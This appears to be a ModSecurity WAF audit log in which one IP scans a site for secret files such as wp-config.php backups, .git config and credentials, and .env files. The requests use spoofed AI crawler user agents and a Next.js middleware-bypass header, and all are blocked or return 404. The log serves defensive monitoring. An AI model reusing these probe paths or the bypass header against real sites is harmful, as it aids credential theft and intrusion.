Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php~"] [unique_id "aqZdN2M7dE9KgIIOpQhxsQAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735795957 107945 (- - -)
Stopwatch2: 1789287735795957 107945; combined=33713, p1=229, p2=33417, p3=0, p4=0, p5=67, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0fa04461-Z--

--9dace405-A--
[13/Sep/2026:11:22:16.050042 +0300] aqZdN0wu1RSkptiiNIX2zgAAAII 34.80.249.255 59648 127.0.0.1 7081
--9dace405-B--
GET /wp-config.php.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9dace405-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9dace405-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.swp"] [unique_id "aqZdN0wu1RSkptiiNIX2zgAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735944378 105783 (- - -)
Stopwatch2: 1789287735944378 105783; combined=33590, p1=280, p2=33181, p3=0, p4=0, p5=128, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9dace405-Z--

--06076d15-A--
[13/Sep/2026:11:22:21.306036 +0300] aqZdPUwu1RSkptiiNIX26wAAAI0 34.80.249.255 60380 127.0.0.1 7081
--06076d15-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--06076d15-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--06076d15-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZdPUwu1RSkptiiNIX26wAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZdPUwu1RSkptiiNIX26wAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZdPUwu1RSkptiiNIX26wAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741202560 103566 (- - -)
Stopwatch2: 1789287741202560 103566; combined=38295, p1=259, p2=37973, p3=0, p4=0, p5=63, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--06076d15-Z--

--8b4cb45a-A--
[13/Sep/2026:11:22:21.322929 +0300] aqZdPWM7dE9KgIIOpQhx1gAAAMo 34.80.249.255 60392 127.0.0.1 7081
--8b4cb45a-B--
GET /.git/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8b4cb45a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8b4cb45a-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/HEAD"] [unique_id "aqZdPWM7dE9KgIIOpQhx1gAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741218922 104075 (- - -)
Stopwatch2: 1789287741218922 104075; combined=4601, p1=211, p2=4331, p3=0, p4=0, p5=59, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8b4cb45a-Z--

--b23c823c-A--
[13/Sep/2026:11:22:21.403217 +0300] aqZdPUwu1RSkptiiNIX27QAAAJM 34.80.249.255 60400 127.0.0.1 7081
--b23c823c-B--
GET /.git-credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b23c823c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b23c823c-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZdPUwu1RSkptiiNIX27QAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqZdPUwu1RSkptiiNIX27QAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741307526 95759 (- - -)
Stopwatch2: 1789287741307526 95759; combined=31555, p1=225, p2=31261, p3=0, p4=0, p5=69, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b23c823c-Z--

--985aea06-A--
[13/Sep/2026:11:22:21.518741 +0300] aqZdPWM7dE9KgIIOpQhx1wAAAME 34.80.249.255 60414 127.0.0.1 7081
--985aea06-B--
GET /.gitconfig HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--985aea06-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--985aea06-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqZdPWM7dE9KgIIOpQhx1wAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqZdPWM7dE9KgIIOpQhx1wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741422755 96085 (- - -)
Stopwatch2: 1789287741422755 96085; combined=30746, p1=299, p2=30310, p3=0, p4=0, p5=137, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--985aea06-Z--

--ac93a436-A--
[13/Sep/2026:11:22:21.620005 +0300] aqZdPWM7dE9KgIIOpQhx2QAAAM0 34.80.249.255 60430 127.0.0.1 7081
--ac93a436-B--
GET /.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ac93a436-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ac93a436-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdPWM7dE9KgIIOpQhx2QAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741539032 81029 (- - -)
Stopwatch2: 1789287741539032 81029; combined=5170, p1=257, p2=4860, p3=0, p4=0, p5=53, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ac93a436-Z--

--47f6b721-A--
[13/Sep/2026:11:22:21.839042 +0300] aqZdPUwu1RSkptiiNIX27wAAAJI 34.80.249.255 60460 127.0.0.1 7081
--47f6b721-B--
GET /.env.local HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--47f6b721-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--47f6b721-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdPUwu1RSkptiiNIX27wAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdPUwu1RSkptiiNIX27wAAAJI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741739713 99385 (- - -)
Stopwatch2: 1789287741739713 99385; combined=34009, p1=247, p2=33688, p3=0, p4=0, p5=74, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--47f6b721-Z--

--be8ee447-A--
[13/Sep/2026:11:22:21.918270 +0300] aqZdPWM7dE9KgIIOpQhx3AAAANU 34.80.249.255 60482 127.0.0.1 7081
--be8ee447-B--
GET /config/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--be8ee447-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--be8ee447-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env"] [unique_id "aqZdPWM7dE9KgIIOpQhx3AAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287741850283 68053 (- - -)
Stopwatch2: 1789287741850283 68053; combined=4092, p1=222, p2=3825, p3=0, p4=0, p5=45, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--be8ee447-Z--

--373b8a2e-A--
[13/Sep/2026:11:22:22.259042 +0300] aqZdPmM7dE9KgIIOpQhx4QAAAMs 34.80.249.255 60542 127.0.0.1 7081
--373b8a2e-B--
GET /api/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--373b8a2e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--373b8a2e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/api/.env"] [unique_id "aqZdPmM7dE9KgIIOpQhx4QAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287742148391 110707 (- - -)
Stopwatch2: 1789287742148391 110707; combined=5851, p1=291, p2=5490, p3=0, p4=0, p5=70, sr=100, sw=0, l=0, gc=0
